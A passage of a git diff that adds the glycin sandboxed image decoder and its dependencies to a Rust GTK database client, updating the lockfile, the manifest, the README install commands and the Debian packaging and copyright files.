+ "half",
+ "libc",
+ "libseccomp",
+ "log",
+ "memmap2",
+ "nix 0.30.1",
+ "paste",
+ "rayon",
+ "serde",
+ "thiserror",
+ "tokio",
+ "zbus",
+ "zerocopy",
+]
+
 [[package]]
 name = "gobject-sys"
 version = "0.22.9"
@@ -2279,6 +2470,29 @@ dependencies = [
  "system-deps 7.0.8",
 ]
 
+[[package]]
+name = "gufo-common"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "9f23bc0d0e791259ce4fe703c4d988c64317e33477bc4d1d7526ab8eb9fcaab6"
+dependencies = [
+ "paste",
+ "serde",
+ "thiserror",
+ "zvariant",
+]
+
+[[package]]
+name = "gufo-exif"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "ad61fccc591119491879e7bee63ebbfbd27811b35367b4728a857119fde78843"
+dependencies = [
+ "gufo-common",
+ "thiserror",
+ "tracing",
+]
+
 [[package]]
 name = "h2"
 version = "0.4.19"
@@ -3069,6 +3283,29 @@ version = "1.5.0"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "bbd2bcb4c963f2ddae06a2efc7e9f3591312473c50c6685e1f298068316e66fe"
 
+[[package]]
+name = "lcms2"
+version = "6.2.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "80205450f4d8b4de92f18111de879f3df4a6b728915e89b73c38f7a59a81ad90"
+dependencies = [
+ "bytemuck",
+ "foreign-types",
+ "lcms2-sys",
+]
+
+[[package]]
+name = "lcms2-sys"
+version = "4.0.7"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "264db0b78119c5a37d78bb41fb355daab29b3b29430b53cd92e3da51f0ab06cc"
+dependencies = [
+ "cc",
+ "dunce",
+ "libc",
+ "pkg-config",
+]
+
 [[package]]
 name = "lexical-core"
 version = "1.0.6"
@@ -3225,6 +3462,24 @@ dependencies = [
  "libc",
 ]
 
+[[package]]
+name = "libseccomp"
+version = "0.4.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "0e5310a2c5b6ffbc094b5f70a2ca7b79ed36ad90e6f90994b166489a1bce3fcc"
+dependencies = [
+ "bitflags 2.13.2",
+ "libc",
+ "libseccomp-sys",
+ "pkg-config",
+]
+
+[[package]]
+name = "libseccomp-sys"
+version = "0.3.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "60276e2d41bbb68b323e566047a1bfbf952050b157d8b5cdc74c07c1bf4ca3b6"
+
 [[package]]
 name = "libsqlite3-sys"
 version = "0.37.0"
@@ -3389,6 +3644,24 @@ version = "2.8.3"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "cf8baf1c55e62ffcace7a9f06f4bd9cd3f0c4beb022d3b367256b91b87513d98"
 
+[[package]]
+name = "memfd"
+version = "0.6.6"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "57804b2c9b69967f1536a56f86297e367a33b19e98852ed624b84551cdbc0d90"
+dependencies = [
+ "rustix 1.1.4",
+]
+
+[[package]]
+name = "memmap2"
+version = "0.9.12"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "6b0ca1155a9ecc25aa12e8313a119f32edf0255fea2f44839c4ac0a12b2ac157"
+dependencies = [
+ "libc",
+]
+
 [[package]]
 name = "memoffset"
 version = "0.9.1"
@@ -3557,6 +3830,18 @@ version = "0.1.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "27b02d87554356db9e9a873add8782d4ea6e3e58ea071a9adb9a2e8ddb884a8b"
 
+[[package]]
+name = "nix"
+version = "0.30.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "74523f3a35e05aba87a1d978330aef40f67b0304ac79c1c00b294c9830543db6"
+dependencies = [
+ "bitflags 2.13.2",
+ "cfg-if",
+ "cfg_aliases",
+ "libc",
+]
+
 [[package]]
 name = "nix"
 version = "0.31.3"
@@ -3874,6 +4159,12 @@ dependencies = [
  "syn 2.0.119",
 ]
 
+[[package]]
+name = "paste"
+version = "1.0.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "57c0d7b74b563b49d38dae00a0c37d4d6de9b432382b2892f0574ddcae73fd0a"
+
 [[package]]
 name = "pastey"
 version = "0.2.3"
@@ -3969,6 +4260,17 @@ version = "0.2.17"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "a89322df9ebe1c1578d689c92318e070967d1042b512afbe49518723f4e6d5cd"
 
+[[package]]
+name = "piper"
+version = "0.2.5"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "c835479a4443ded371d6c535cbfd8d31ad92c5d23ae9770a61bc155e4992a3c1"
+dependencies = [
+ "atomic-waker",
+ "fastrand",
+ "futures-io",
+]
+
 [[package]]
 name = "pkcs1"
 version = "0.8.0-rc.4"
@@ -4270,6 +4572,26 @@ dependencies = [
  "rand_core 0.9.5",
 ]
 
+[[package]]
+name = "rayon"
+version = "1.12.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "fb39b166781f92d482534ef4b4b1b2568f42613b53e5b6c160e24cfbfa30926d"
+dependencies = [
+ "either",
+ "rayon-core",
+]
+
+[[package]]
+name = "rayon-core"
+version = "1.13.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "22e18b0f0062d30d4230b2e85ff77fdfe4326feb054b9783a3460d8435c8ab91"
+dependencies = [
+ "crossbeam-deque",
+ "crossbeam-utils",
+]
+
 [[package]]
 name = "rcgen"
 version = "0.14.10"
@@ -4445,6 +4767,25 @@ dependencies = [
  "uuid",
 ]
 
+[[package]]
+name = "rmp"
+version = "0.8.15"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "4ba8be72d372b2c9b35542551678538b562e7cf86c3315773cae48dfbfe7790c"
+dependencies = [
+ "num-traits",
+]
+
+[[package]]
+name = "rmp-serde"
+version = "1.3.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "72f81bee8c8ef9b577d1681a70ebbc962c232461e397b22c208c43c04b67a155"
+dependencies = [
+ "rmp",
+ "serde",
+]
+
 [[package]]
 name = "rsa"
 version = "0.10.0-rc.18"
@@ -5380,6 +5721,12 @@ version = "1.2.1"
 source = "registry+https://github.com/rust-lang/crates.io-index"
 checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596"
 
+[[package]]
+name = "static_assertions"
+version = "1.1.0"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "a2eb9349b6444b326872e140eb1cf5e7c522154d69e7a0ffb0fb81c06b37543f"
+
 [[package]]
 name = "stringprep"
 version = "0.1.5"
@@ -5546,6 +5893,7 @@ dependencies = [
  "gio-unix",
  "glib",
  "glib-build-tools",
+ "glycin",
  "gtk4",
  "icu_decimal",
  "icu_locale_core",
@@ -7219,6 +7567,17 @@ dependencies = [
  "time",
 ]
 
+[[package]]
+name = "yeslogic-fontconfig-sys"
+version = "6.0.1"
+source = "registry+https://github.com/rust-lang/crates.io-index"
+checksum = "1d8b8abf912b9a29ff112e1671c97c33636903d13a69712037190e6805af4f76"
+dependencies = [
+ "dlib",
+ "once_cell",
+ "pkg-config",
+]
+
 [[package]]
 name = "yoke"
 version = "0.8.3"
@@ -7413,7 +7772,7 @@ dependencies = [
  "flate2",
  "indexmap 2.14.2",
  "memchr",
- "nix",
+ "nix 0.31.3",
  "typed-path",
  "zopfli",
 ]
diff --git a/linux/Cargo.toml b/linux/Cargo.toml
index 49e09aac94..429fcaa9c7 100644
--- a/linux/Cargo.toml
+++ b/linux/Cargo.toml
@@ -133,6 +133,8 @@ gtk4 = { version = "0.11", features = ["gnome_50"] }
 cairo-rs = { version = "0.22", features = ["png", "svg"] }
 libadwaita = { version = "0.9", features = ["v1_9"] }
 sourceview5 = { version = "0.11", features = ["v5_18"] }
+# 3.x is the GNOME 50 release, which speaks the loaders' 2+ protocol.
+glycin = { version = "3.1", default-features = false, features = ["gdk4", "tokio"] }
 gio = { version = "0.22", features = ["v2_88"] }
 gio-unix = { version = "0.22", features = ["v2_84"] }
 glib = { version = "0.22", features = ["v2_88"] }
diff --git a/linux/README.md b/linux/README.md
index 890e7df3a0..e088060e3f 100644
--- a/linux/README.md
+++ b/linux/README.md
@@ -85,28 +85,29 @@ System dependencies:
 
 ```bash
 # Ubuntu 26.04
-sudo apt install -y build-essential pkgconf meson ninja-build gettext desktop-file-utils appstream libglib2.0-bin libxml2-utils libgtk-4-dev libadwaita-1-dev libgtksourceview-5-dev libsqlite3-dev libkrb5-dev clang libclang-dev openssh-client
+sudo apt install -y build-essential pkgconf meson ninja-build gettext desktop-file-utils appstream libglib2.0-bin libxml2-utils libgtk-4-dev libadwaita-1-dev libgtksourceview-5-dev libsqlite3-dev libkrb5-dev liblcms2-dev libseccomp-dev clang libclang-dev openssh-client
 
 # Fedora 44
-sudo dnf install -y gcc gcc-c++ pkgconf meson ninja-build gettext desktop-file-utils appstream glib2-devel libxml2 gtk4-devel libadwaita-devel gtksourceview5-devel sqlite-devel krb5-devel clang-devel openssh-clients
+sudo dnf install -y gcc gcc-c++ pkgconf meson ninja-build gettext desktop-file-utils appstream glib2-devel libxml2 gtk4-devel libadwaita-devel gtksourceview5-devel sqlite-devel krb5-devel lcms2-devel libseccomp-devel clang-devel openssh-clients
 
 # Arch (not covered by CI)
-sudo pacman -S --needed base-devel pkgconf meson ninja gettext desktop-file-utils appstream libxml2 gtk4 libadwaita gtksourceview5 sqlite krb5 clang openssh
+sudo pacman -S --needed base-devel pkgconf meson ninja gettext desktop-file-utils appstream libxml2 gtk4 libadwaita gtksourceview5 sqlite krb5 lcms2 libseccomp clang openssh
 ```
 
 The Ubuntu list is the .deb's build dependencies in `build-aux/debian/control` and the Fedora list the RPM's in `build-aux/rpm/tablepro.spec`, less the ones only their tests need. CI builds both.
 
 The test suites need a few more: an X server for the GTK tests, a session
 bus, the icon theme, a generated `en_US.UTF-8` locale for the catalogue
-test, and gnome-keyring for the Secret Service tests.
+test, gnome-keyring for the Secret Service tests and the glycin loaders
+for the Row Details picture tests.
 
 ```bash
 # Ubuntu 26.04
-sudo apt install -y xvfb xauth dbus-daemon adwaita-icon-theme locales gnome-keyring
+sudo apt install -y xvfb xauth dbus-daemon adwaita-icon-theme locales gnome-keyring glycin-loaders
 sudo localedef -i en_US -f UTF-8 en_US.UTF-8
 
 # Fedora 44
-sudo dnf install -y xorg-x11-server-Xvfb xorg-x11-xauth dbus-daemon adwaita-icon-theme glibc-langpack-en gnome-keyring
+sudo dnf install -y xorg-x11-server-Xvfb xorg-x11-xauth dbus-daemon adwaita-icon-theme glibc-langpack-en gnome-keyring glycin-loaders
 ```
 
 Check the installed versions against the floors in
@@ -147,6 +148,11 @@ link the system SQLite through sqlx's `sqlite-unbundled` feature rather
 than compiling a second copy into the binary. `libclang-dev` lets
 `libsqlite3-sys` run bindgen against the installed `sqlite3.h`.
 
+`libseccomp-dev` and `liblcms2-dev` are there for glycin, which decodes
+the picture of a binary value in Row Details in a sandbox
+([ADR 0029](docs/decisions/0029-images-decode-in-glycin.md)). At run time
+it needs the glycin loaders, which GNOME installs.
+
 A C++ compiler is there for DuckDB, which the `duckdb` crate compiles
 from its own sources: `build-essential` brings g++ on Ubuntu, `gcc-c++`
 on Fedora. The first build of it takes several minutes.
diff --git a/linux/build-aux/debian/control b/linux/build-aux/debian/control
index 74d0eafa15..ccd124351b 100644
--- a/linux/build-aux/debian/control
+++ b/linux/build-aux/debian/control
@@ -14,6 +14,8 @@ Build-Depends:
  libgtk-4-dev (>= 4.22),
  libgtksourceview-5-dev (>= 5.18),
  libkrb5-dev,
+ liblcms2-dev,
+ libseccomp-dev,
  libsqlite3-dev (>= 3.46),
  libxml2-utils,
  meson (>= 1.4),
@@ -23,6 +25,7 @@ Build-Depends:
  appstream <!nocheck>,
  ca-certificates <!nocheck>,
  dbus-daemon <!nocheck>,
+ glycin-loaders <!nocheck>,
  locales-all <!nocheck>,
  openssh-client <!nocheck>,
  xauth <!nocheck>,
@@ -41,6 +44,7 @@ Depends:
  ${shlibs:Depends},
 Recommends:
  ca-certificates,
+ glycin-loaders,
  gnome-keyring | kwallet6 | keepassxc,
 Suggests:
  krb5-user,
diff --git a/linux/build-aux/debian/copyright b/linux/build-aux/debian/copyright
index ed284968cd..f7baa1d5f4 100644
--- a/linux/build-aux/debian/copyright
+++ b/linux/build-aux/debian/copyright
@@ -741,6 +741,8 @@ Files: vendor/aho-corasick-1.1.5/*
  vendor/byteorder-1.5.0/*
  vendor/csv-1.4.0/*
  vendor/csv-core-0.1.13/*
+ vendor/jiff-0.2.37/*
+ vendor/jiff-core-0.1.1/*
  vendor/memchr-2.8.3/*
 Copyright: 2015 Andrew Gallant
 License: Expat or Unlicense
@@ -999,11 +1001,15 @@ License: Apache-2.0 or Expat
  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
  SOFTWARE.
 
-Files: vendor/async-lock-3.4.2/*
+Files: vendor/async-channel-2.5.0/*
+ vendor/async-lock-3.4.2/*
+ vendor/async-task-4.7.1/*
  vendor/async-trait-0.1.92/*
+ vendor/blocking-1.7.0/*
  vendor/clickhouse-0.15.2/*
  vendor/clickhouse-macros-0.3.0/*
  vendor/clickhouse-types-0.1.3/*
+ vendor/concurrent-queue-2.5.0/*
  vendor/derive-syn-parse-0.2.0/*
  vendor/displaydoc-0.2.7/*
  vendor/dyn-clone-1.0.20/*
@@ -1020,8 +1026,10 @@ Files: vendor/async-lock-3.4.2/*
  vendor/once_cell-1.21.4/*
  vendor/ordered-stream-0.2.0/*
  vendor/parking-2.2.1/*
+ vendor/paste-1.0.15/*
  vendor/pastey-0.2.3/*
  vendor/pin-project-lite-0.2.17/*
+ vendor/piper-0.2.5/*
  vendor/portable-atomic-1.15.0/*
  vendor/proc-macro-crate-3.5.0/*
  vendor/proc-macro2-1.0.107/*
@@ -1048,16 +1056,17 @@ Files: vendor/async-lock-3.4.2/*
  vendor/typed-builder-0.22.0/*
  vendor/typed-builder-macro-0.22.0/*
  vendor/typed-path-0.12.3/*
-Copyright: the authors of async-lock, async-trait, clickhouse, clickhouse-macros,
- clickhouse-types, derive-syn-parse, displaydoc, dyn-clone,
+Copyright: the authors of async-channel, async-lock, async-task, async-trait,
+ blocking, clickhouse, clickhouse-macros, clickhouse-types,
+ concurrent-queue, derive-syn-parse, displaydoc, dyn-clone,
  event-listener, event-listener-strategy, fastrand, itoa, lexical-core,
  lexical-parse-float, lexical-parse-integer, lexical-util,
  lexical-write-float, lexical-write-integer, once_cell, ordered-stream,
- parking, pastey, pin-project-lite, portable-atomic, proc-macro-crate,
- proc-macro2, quote, ref-cast, ref-cast-impl, relm4, relm4-macros,
- rustversion, semver, serde, serde_bytes, serde_core, serde_derive,
- serde_derive_internals, serde_json, serde_repr, sqlformat, syn,
- thiserror, thiserror-impl, typed-builder, typed-builder-macro,
+ parking, paste, pastey, pin-project-lite, piper, portable-atomic,
+ proc-macro-crate, proc-macro2, quote, ref-cast, ref-cast-impl, relm4,
+ relm4-macros, rustversion, semver, serde, serde_bytes, serde_core,
+ serde_derive, serde_derive_internals, serde_json, serde_repr, sqlformat,
+ syn, thiserror, thiserror-impl, typed-builder, typed-builder-macro,
  typed-path
 License: Apache-2.0 or Expat
  Permission is hereby granted, free of charge, to any
@@ -1926,6 +1935,19 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
+Files: vendor/bytemuck-1.25.2/*
+Copyright: 2019 Daniel "Lokathor" Gee.
+License: Apache-2.0 or MIT or Zlib
+ MIT License
+ .
+ Copyright (c) 2019 Daniel "Lokathor" Gee.
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice (including the next paragraph) shall be included in all copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
 Files: vendor/bytes-1.12.1/*
 Copyright: 2018 Carl Lerche
 License: Expat
@@ -2575,6 +2597,7 @@ License: Apache-2.0 or Expat
  DEALINGS IN THE SOFTWARE.
 
 Files: vendor/crossbeam-channel-0.5.17/*
+ vendor/crossbeam-deque-0.8.8/*
  vendor/crossbeam-epoch-0.9.21/*
  vendor/crossbeam-queue-0.3.14/*
  vendor/crossbeam-utils-0.8.23/*
@@ -3056,6 +3079,29 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
+Files: vendor/dlib-0.5.3/*
+Copyright: 2015 Victor Berger
+License: Expat
+ Copyright (c) 2015 Victor Berger
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in
+ all copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+ THE SOFTWARE.
+
 Files: vendor/dotenvy-0.15.7/*
 Copyright: 2014 Santiago Lapresta and contributors
 License: Expat
@@ -3323,6 +3369,33 @@ License: Apache-2.0 or Expat
  IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
  DEALINGS IN THE SOFTWARE.
 
+Files: vendor/env_filter-2.0.0/*
+ vendor/env_logger-0.11.11/*
+ vendor/toml_datetime-1.1.1+spec-1.1.0/*
+ vendor/toml_edit-0.25.15+spec-1.1.0/*
+ vendor/toml_parser-1.1.3+spec-1.1.0/*
+Copyright: Individual contributors
+License: Apache-2.0 or Expat
+ Copyright (c) Individual contributors
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+
 Files: vendor/equivalent-1.0.2/*
 Copyright: 2016--2023
 License: Apache-2.0 or Expat
@@ -3578,6 +3651,31 @@ License: Zlib
  .
  3. This notice may not be removed or altered from any source distribution.
 
+Files: vendor/foreign-types-0.5.0/*
+ vendor/foreign-types-macros-0.2.4/*
+ vendor/foreign-types-shared-0.3.1/*
+Copyright: 2017 The foreign-types Developers
+License: Apache-2.0 or Expat
+ Copyright (c) 2017 The foreign-types Developers
+ .
+ Permission is hereby granted, free of charge, to any person obtaining a copy
+ of this software and associated documentation files (the "Software"), to deal
+ in the Software without restriction, including without limitation the rights
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+ copies of the Software, and to permit persons to whom the Software is
+ furnished to do so, subject to the following conditions:
+ .
+ The above copyright notice and this permission notice shall be included in all
+ copies or substantial portions of the Software.
+ .
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ SOFTWARE.
+
 Files: vendor/form_urlencoded-1.2.2/*
 Copyright: 2013-2016 The rust-url developers
 License: Apache-2.0 or Expat
@@ -3844,6 +3942,388 @@ License: Expat
  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
  SOFTWARE.
 
+Files: vendor/glycin-3.1.0/*
+ vendor/glycin-common-1.0.4/*
+ vendor/glycin-utils-4.1.0/*
+ vendor/gufo-common-1.1.0/*
+ vendor/gufo-exif-0.4.0/*
+Copyright: the authors of glycin, glycin-common, glycin-utils, gufo-common,
+ gufo-exif
+License: LGPL-2.1+ or MPL-2.0
+ Mozilla Public License Version 2.0
+ ==================================
+ .
+ 1. Definitions
+ --------------
+ .
+ 1.1. "Contributor"
+     means each individual or legal entity that creates, contributes to
+     the creation of, or owns Covered Software.
+ .
+ 1.2. "Contributor Version"
+     means the combination of the Contributions of others (if any) used
+     by a Contributor and that particular Contributor's Contribution.
+ .
+ 1.3. "Contribution"
+     means Covered Software of a particular Contributor.
+ .
+ 1.4. "Covered Software"
+     means Source Code Form to which the initial Contributor has attached
+     the notice in Exhibit A, the Executable Form of such Source Code
+     Form, and Modifications of such Source Code Form, in each case
+     including portions thereof.
+ .
+ 1.5. "Incompatible With Secondary Licenses"
+     means
+ .
+     (a) that the initial Contributor has attached the notice described
+         in Exhibit B to the Covered Software; or
+ .
+     (b) that the Covered Software was made available under the terms of
+         version 1.1 or earlier of the License, but not also under the
+         terms of a Secondary License.
+ .
+ 1.6. "Executable Form"
+     means any form of the work other than Source Code Form.
+ .
+ 1.7. "Larger Work"
+     means a work that combines Covered Software with other material, in
+     a separate file or files, that is not Covered Software.
+ .
+ 1.8. "License"
+     means this document.
+ .
+ 1.9. "Licensable"
+     means having the right to grant, to the maximum extent possible,
+     whether at the time of the initial grant or subsequently, any and
+     all of the rights conveyed by this License.
+ .
+ 1.10. "Modifications"
+     means any of the following:
+ .
+     (a) any file in Source Code Form that results from an addition to,
+         deletion from, or modification of the contents of Covered
+         Software; or
+ .
+     (b) any new file in Source Code Form that contains any Covered
+         Software.
+ .
+ 1.11. "Patent Claims" of a Contributor
+     means any patent claim(s), including without limitation, method,
+     process, and apparatus claims, in any patent Licensable by such
+     Contributor that would be infringed, but for the grant of the
+     License, by the making, using, selling, offering for sale, having
+     made, import, or transfer of either its Contributions or its
+     Contributor Version.
+ .
+ 1.12. "Secondary License"
+     means either the GNU General Public License, Version 2.0, the GNU
+     Lesser General Public License, Version 2.1, the GNU Affero General
+     Public License, Version 3.0, or any later versions of those
+     licenses.
+ .
+ 1.13. "Source Code Form"
+     means the form of the work preferred for making modifications.
+ .
+ 1.14. "You" (or "Your")
+     means an individual or a legal entity exercising rights under this
+     License. For legal entities, "You" includes any entity that
+     controls, is controlled by, or is under common control with You. For
+     purposes of this definition, "control" means (a) the power, direct
+     or indirect, to cause the direction or management of such entity,
+     whether by contract or otherwise, or (b) ownership of more than
+     fifty percent (50%) of the outstanding shares or beneficial
+     ownership of such entity.
+ .
+ 2. License Grants and Conditions
+ --------------------------------
+ .
+ 2.1. Grants
+ .
+ Each Contributor hereby grants You a world-wide, royalty-free,
+ non-exclusive license:
+ .
+ (a) under intellectual property rights (other than patent or trademark)
+     Licensable by such Contributor to use, reproduce, make available,
+     modify, display, perform, distribute, and otherwise exploit its
+     Contributions, either on an unmodified basis, with Modifications, or
+     as part of a Larger Work; and
+ .
+ (b) under Patent Claims of such Contributor to make, use, sell, offer
+     for sale, have made, import, and otherwise transfer either its
+     Contributions or its Contributor Version.
+ .
+ 2.2. Effective Date
+ .
+ The licenses granted in Section 2.1 with respect to any Contribution
+ become effective for each Contribution on the date the Contributor first
+ distributes such Contribution.
+ .
+ 2.3. Limitations on Grant Scope
+ .
+ The licenses granted in this Section 2 are the only rights granted under
+ this License. No additional rights or licenses will be implied from the
+ distribution or licensing of Covered Software under this License.
+ Notwithstanding Section 2.1(b) above, no patent license is granted by a
+ Contributor:
+ .
+ (a) for any code that a Contributor has removed from Covered Software;
+     or
+ .
+ (b) for infringements caused by: (i) Your and any other third party's
+     modifications of Covered Software, or (ii) the combination of its
+     Contributions with other software (except as part of its Contributor
+     Version); or
+ .
+ (c) under Patent Claims infringed by Covered Software in the absence of
+     its Contributions.
+ .
+ This License does not grant any rights in the trademarks, service marks,
+ or logos of any Contributor (except as may be necessary to comply with
+ the notice requirements in Section 3.4).
+ .
+ 2.4. Subsequent Licenses
+ .
+ No Contributor makes additional grants as a result of Your choice to
+ distribute the Covered Software under a subsequent version of this
+ License (see Section 10.2) or under the terms of a Secondary License (if
+ permitted under the terms of Section 3.3).
+ .
+ 2.5. Representation
+ .
+ Each Contributor represents that the Contributor believes its
+ Contributions are its original creation(s) or it has sufficient rights
+ to grant the rights to its Contributions conveyed by this License.
+ .
+ 2.6. Fair Use
+ .
+ This License is not intended to limit any rights You have under
+ applicable copyright doctrines of fair use, fair dealing, or other
+ equivalents.
+ .
+ 2.7. Conditions
+ .
+ Sections 3.1, 3.2, 3.3, and 3.4 are conditions of the licenses granted
+ in Section 2.1.
+ .
+ 3. Responsibilities
+ -------------------
+ .
+ 3.1. Distribution of Source Form
+ .
+ All distribution of Covered Software in Source Code Form, including any
+ Modifications that You create or to which You contribute, must be under
+ the terms of this License. You must inform recipients that the Source
+ Code Form of the Covered Software is governed by the terms of this
+ License, and how they can obtain a copy of this License. You may not
+ attempt to alter or restrict the recipients' rights in the Source Code
+ Form.
+ .
+ 3.2. Distribution of Executable Form
+ .
+ If You distribute Covered Software in Executable Form then:
+ .
+ (a) such Covered Software must also be made available in Source Code
+     Form, as described in Section 3.1, and You must inform recipients of
+     the Executable Form how they can obtain a copy of such Source Code
+     Form by reasonable means in a timely manner, at a charge no more
+     than the cost of distribution to the recipient; and
+ .
+ (b) You may distribute such Executable Form under the terms of this
+     License, or sublicense it under different terms, provided that the
+     license for the Executable Form does not attempt to limit or alter
+     the recipients' rights in the Source Code Form under this License.
+ .
+ 3.3. Distribution of a Larger Work
+ .
+ You may create and distribute a Larger Work under terms of Your choice,
+ provided that You also comply with the requirements of this License for
+ the Covered Software. If the Larger Work is a combination of Covered
+ Software with a work governed by one or more Secondary Licenses, and the
+ Covered Software is not Incompatible With Secondary Licenses, this
+ License permits You to additionally distribute such Covered Software
+ under the terms of such Secondary License(s), so that the recipient of
+ the Larger Work may, at their option, further distribute the Covered
+ Software under the terms of either this License or such Secondary
+ License(s).
+ .
+ 3.4. Notices
+ .
+ You may not remove or alter the substance of any license notices
+ (including copyright notices, patent notices, disclaimers of warranty,
+ or limitations of liability) contained within the Source Code Form of
+ the Covered Software, except that You may alter any license notices to
+ the extent required to remedy known factual inaccuracies.
+ .
+ 3.5. Application of Additional Terms
+ .
+ You may choose to offer, and to charge a fee for, warranty, support,
+ indemnity or liability obligations to one or more recipients of Covered
+ Software. However, You may do so only on Your own behalf, and not on
+ behalf of any Contributor. You must make it absolutely clear that any
+ such warranty, support, indemnity, or liability obligation is offered by
+ You alone, and You hereby agree to indemnify every Contributor for any
+ liability incurred by such Contributor as a result of warranty, support,
+ indemnity or liability terms You offer. You may include additional
+ disclaimers of warranty and limitations of liability specific to any
+ jurisdiction.
+ .
+ 4. Inability to Comply Due to Statute or Regulation
+ ---------------------------------------------------
+ .
+ If it is impossible for You to comply with any of the terms of this
+ License with respect to some or all of the Covered Software due to
+ statute, judicial order, or regulation then You must: (a) comply with
+ the terms of this License to the maximum extent possible; and (b)
+ describe the limitations and the code they affect. Such description must
+ be placed in a text file included with all distributions of the Covered
+ Software under this License. Except to the extent prohibited by statute
+ or regulation, such description must be sufficiently detailed for a
+ recipient of ordinary skill to be able to understand it.
+ .
+ 5. Termination
+ --------------
+ .
+ 5.1. The rights granted under this License will terminate automatically
+ if You fail to comply with any of its terms. However, if You become
+ compliant, then the rights granted under this License from a particular
+ Contributor are reinstated (a) provisionally, unless and until such
+ Contributor explicitly and finally terminates Your grants, and (b) on an
